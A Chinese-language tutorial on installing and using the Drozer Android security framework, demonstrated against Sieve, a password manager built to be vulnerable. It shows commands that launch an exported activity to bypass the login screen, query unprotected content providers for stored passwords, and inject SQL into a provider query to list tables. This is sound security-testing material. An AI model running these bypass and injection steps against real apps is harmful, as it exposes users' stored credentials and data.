介绍
Drozer原名mercury,是一款面向Android的综合安全评估和攻击框架,它可以全面评估安卓app的安全性,并帮助团队把app的安全风险保持在可控范围内。它可以通过与Dalivik VM、其它应用程序的IPC端点以及底层操作系统的交互,避免正处于开发阶段的android应用程序和设备暴露出不可接受的安全漏洞。
安装
在drozer官网下方找到windows(.msi)和android(.apk)系统对应的下载链接;
在windows上安装msi程序,安装好之后将drozer所在的安装目录添加到环境变量中,在命令行中执行drozer console version
,成功出现版本号表示安装成功。
在android真机或模拟器中安装apk程序,可以通过adb install指令直接安装。
启动
第一步:在PC的命令行中使用adb进行端口转发,转发到Drozer使用的端口31415
指令:
adb forward tcp:31415 tcp:31415
第二步:在Android设备上开启Drozer Agent,点击界面最下方的开关开启drozer,可以看到状态在闪动,点击进入drozer的详情,可以看到日志提示正在等待连接。
第三步:在PC上开启Drozer console
指令:
drozer console connect
成功出现安卓图标代表连接成功,查看安卓端也可以看到drozer的状态变为绿色,日志中也提示连接成功。
使用
首先,同样在drozer官网下方Resources中下载sieve.apk,这是一个密码管理工具,是官方用于展示常见安卓应用漏洞的apk,可在此处用于测试drozer的功能。
获取包名
dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)根据获取到的报名获取应用的基本信息
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Application Label: Sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-1/base.apk
UID: 10065
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions: - com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
确定攻击面
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggableActivity
1) 获取 activity 信息
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
2) 为了测试,可以先在sieve中设置好一个密码,然后退出。再在PC上执行指令直接启动 activity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
可以看到,sieve没有输入密码就直接进入了密码保存的界面,输入密码的界面被直接绕过了。
- Content Provider
1) 类似activity,获取 Content Provider 信息
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
2) Content Providers (数据泄露)
先获取所有可以访问的 Uri:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
再获取各个 Uri 的数据:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查询到数据说明存在漏洞。
3) Content Providers(SQL 注入)
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
报错则说明存在 SQL 注入。
如下指令可以列出所有表:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
4) 检测 SQL 注入和目录遍历
dz> run scanner.provider.injection -a com.mwr.example.sieve
dz> run scanner.provider.traversal -a com.mwr.example.sieve
- Service
获取 service 详情
dz> run app.service.info -a com.mwr.example.sieve
其它模块
shell.start 在设备上开启一个交互shell
tools.file.upload / tools.file.download 上传/下载文件到设备
tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件
常见问题
- Could not find java. Please ensure that it is installed and on your PATH.
解决办法:在用户主目录下建立.drozer_config.文件,建好后最后一个.会自动消失,在其中添加如下内容:
[executables]
java=java的安装路径
dz> run app.package.list
unknown module: ‘app.package.list’
出现unknown module,这个时候在dz>中输入list,返回结果也是空白。解决方法是在先执行exit退出drozer的console,在cmd中将当前目录切换到drozer的安装路径下,然后再输入”drozer console connect”重新连接drozer。dz> drozer console connect
[Errno 10054]
解决办法:先把手机上的drozer agent关闭再重新打开,然后在cmd中重新连接。也可能是忘记了打开drozer agent。
参考资料
http://www.tuicool.com/articles/mMNnYz
http://blog.csdn.net/liguilicsdn/article/details/51762774
https://labs.mwrinfosecurity.com/tools/drozer/
https://github.com/mwrlabs/drozer
https://www.jianshu.com/p/5a96d271691c